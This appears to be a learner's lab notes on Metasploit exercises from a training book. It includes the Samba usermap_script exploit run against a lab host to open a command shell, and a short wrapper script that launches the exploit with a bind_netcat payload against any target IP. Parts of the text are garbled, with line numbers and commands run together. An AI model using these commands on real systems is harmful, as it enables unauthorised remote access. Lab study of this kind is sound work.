Book P39
1. The time line is as follows:
* May 7, 2007:initial defect disclosure to the [email protected]
Email alias.
* May 7, 2007:initial developer response by Samba
Developer Gerald Carter.
* May 9, 2007:patch released by Samba developer Jeremy
Allison to IDefense for testing.
* Announcement to VENDOR-SEC mailing list
* May, 2007:public announcement of the security issue.
2, first find out Metasploit installation location:
# dpkg-s Metasploit
In the/usr/share/metasploit-framework
ls Aix apple_ios dialup FreeBSD irix multi OSX unixandroid bsdi Firefox hpux linux NetWare solaris Windows
Use the Linux shell command to count Windows 2000, Windows XP ... Number of infiltration attack modules in the target environment (no, skip it)
3. Running Msfconsole:
MSF > db_status[*] PostgreSQL selected, no connection
The solution can be consulted: http://r-7.co/MSF-DEV#set-up-postgresql (too long, I haven't tried it yet)
Because there are a lot of differences with the book, I finally decided to use the BT5 virtual image provided by the author.
After changing on BT5, a cool and awesome interface! But the IP address is 10.10.10.129, and the script does not match! Reset under:
vi /etc/networks//etc/init.d/networking Restart
Open Msfconsole:
MSF > db_status[*] PostgreSQL connected to Msf3dev
Add: For MSF and database connectivity issues in Kali 2.0, refer to the http://www.cnblogs.com/justforfun12/p/5205804.html
Solve the problem of database!
msf> use exploit/multi/samba/usermap_scriptmsf> show optionsmsf10.10. 10.254 MSF> exploit
[*] Command Shell Session 1 opened (10.10.10.128:4444-10.10.10.254:33721)
Successfully get the shell
VNC is unfamiliar, skip it for a while.
5.
# vim Us_attack.SH 1#!/bin/Bash2 # 3# A Shell script that uses usermap_script exploit to penetrate4# Other's system. 5# User needs to input the IP forRHOST as the only parameter. 6 # 7#2016.2. +by Jack8 # 9 TenMSFCLI Multi/samba/usermap_script Payload=/cmd/unix/bind_netcat rhost=$1E
Perform
sh us_attack. SH 10.10. 10.254
Get!
But there is a problem: the first ping from the BT5 10.10.10.254 (NAT) is not ping, you need to ping back to 10.10.10.128 (NAT) from Nat.
With BT5 In fact also has a big problem, because its server stops updating, apt-get can't use!
"Metasploit Devil Training Camp" first chapter exercises